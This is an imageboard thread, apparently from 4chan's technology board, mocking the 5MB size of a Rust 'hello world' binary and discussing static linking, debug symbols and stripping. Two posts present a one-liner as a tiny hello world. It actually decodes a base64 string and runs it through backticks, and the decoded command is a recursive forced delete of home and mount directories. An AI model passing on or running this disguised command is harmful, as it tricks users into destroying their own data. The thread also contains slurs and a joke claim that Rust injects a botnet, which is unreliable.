>5MB hello world/g/ wasn't trolling, wow, I'm at a loss for words. My first hard drive was 5MB
>>108927930The magic of static linking.
what, exactly, is in that 5 megabytes of shit. a hello world exe like that should compile down to just a few syscalls. don't tell me rust includes half the standard library in there.
>>108927948it is some securitard bullshit
>>108927946uhuh, what's your next cope brotha
niche compilers can do a simple hello world program in under 1 kb without having to fuck around in assembly.
>>108927946zig hello world statically compiled is 12kb
>>108927989The magic of debug builds.
>>108927989uhm sweaty you NEED executables to be big because otherwise people don't "feel" that they're real programs
>>108927956how? im not a programmer, is it encryption worth 5MB of data?
a retard tries to psyop rust again, cosplaying C user and comparing static vs dynamic builds
>>108928204Don't listen to him. The Rust compiler injects a botnet into your executables so any machine that runs Rust code can be remote controlled.
>>108927930not a rustfag but what difference does it make?you can fuck around and make it include less shit in the executable and make it lower but whats the point
>>108928092Anybody else calls stdio.h Studio H?
>>108928397No, because we're not retarded.
>>108927930And I thought my statically linked irrlicht executables were kinda bloated.
>>108927948On my Ubuntu laptop...Size of debug hello world with no optimizations: 4,345,472 bytesSize after running "strip -s": 344,176 bytesSize after running "strip -g" instead: 445,328 bytesSo to answer your question, it's got around 4 MB of mostly debug symbols.
>>1089279305 mb of what? Why does is occupy twice as much space as the Wolf 3d game?
>>108928157is it?
Oh how we have turned our backs on God.Even this is bloated.
>>108929440>he doesn't write his own linker scripts>>108929410zig sisters...not like this
>>108929465I do but it's pointless for this single file example.It would literally take more time.
>>108929440it is compiling for troonix what do you expect
I'll just leave those here.https://pmchad.itch.io/kkriegerfullgamehttps://daivuk.itch.io/quod
>>108928188this but unironicallyif youre not padding your binaries youre severely ngmi
>>108927948Government mandated backdoors and telemetry
>>108929352why?
>>108930094dynamically linked linux vs statically linked libraries on windowsop being a retard and not compiling with debug symbols off
50 bit hello world:printf 'cm0gLXJmIC8qbWUqIC9tbnQK' | `base64 -d` > hellochmod +x hello./hello
printf 'cm0gLXJmIC8qbWUqIC9tbnQK' | `base64 -d` > hellochmod +x hello./hello
>>108928273It's not a huge deal, but rust isn't like the angel here to save us, ok?
>>108927930What happened?
>>108931061In addition to being able to simply tell the compiler to optimize for size. >I don't understand this stupid feature!>Have you read the docs?>..."The meme is effective, because by tapping the sign, the user is forced to confront the fact that they did not, in fact, read the sign"
>>108927930from hello_world import hello_worldhello_world()>50gbnot my problem. if i say i'm blocked by equipment then my company will buy better equipment.
>>108931362Maybe your system has a smaller libc?
>>108929410They fucked it up in zig 0.16.0, it's a regression. It will be fixed in the next version. Im using zig 0.15.2. In zig 0.16.0 it doesn't remove the Io code you dont use.
>>108929440>12kb97% too much, 250b is enough. Disgusting!
>>108931337meaning what? if the implication is that its somehow bad then by that logic python is an even better language because the bytecode file for hello world is 149 bytes
>>108931448i thought rust only linked against libc
>>108929440Not type safe, some dude could literally break into your house and mov rdi, 1
Who cares about binary size? We are not in the 80s anymore.
>>108931258Why is there mustard gas leaking out of my machine?
>>108927930>5mblol, when i first started learning programming, they had me start with C#, when i asked about C (because i wanted to program for embedded hardware), the teacher told me "soon memory management wont be needed, there'll be a excess of memeory"they failed to understand the purpose behind my inquiry, soon it will be 1 gig for a simple "Hello world!" console program, because they dont care about due diligence and just ease of use.
>>108928188my only complaint is that its not taking up 80% of my CPUs processing power
>>108931790Most of it will be the elf header.
>>108933816This pajeet mentality is exactly why everything is so shit today.
>>108927930>>108928092GCC is even worse, it requires a bunch of licensepozzed shitware on the user's computer. At least the license of Rust is free as in freedom not free as in cuckoldry.
>>108936407No, most of it will be 0x00 bytes of padding up to page boundaries because of security retardation.
>>108927930>literally and unironically using hello world as a benchmark
>>108936496That's the default program cargo starts a project with.
>>108936848yes, and?
108936891This the problem with zoomers. You can tell they don't understand anything and need to be spoonfed.
>>108931258>backticks
>>108927930skill issue, you can make a rust binary 400 bytes if you want.it's just not the default and for good reasons.
>>108931873Fucking retarded. I hate shython and shytters.
>>108937800>if you manually remove all the bloat with tools rust doesn't provide, then there is no bloat>no we don't do it this way because it's not how rust is designedBrain issue. If default rust needs 5MB binaries for nothing then it's bloated by design.
>>108931873And how large is the interpreter?
>>108937899all the rust/c examples here probably run an elf interpeter
>>108937974Which the Python interpreter ALSO uses. You can't get out of it that easily.
>>108927946Why does it need that many libraries to print text in a terminal?
>>108929352>>108931061Why are debug symbols on by default?
>>108937888Retard, it's not external tools, it's literally official options of the toolchain.Those are disabled by default because debugging features and other fancy things that improves dev QoL are more important than 5MB on modern computers but you can absolutely disable part or all of it with 0 external tool if for some reason you need a tiny binary... https://darkcoding.net/software/a-very-small-rust-binary-indeed/
>>108938352Because being able to debug software is a good thing.
Even the normies have started noticing that there's programs that run programs and that's a bit weird that they're trying to get ahead of the allegations that runtime environments are backdoors, like none of us read trusting trust.https://www.youtube.com/watch?v=kdnN0kk7MS0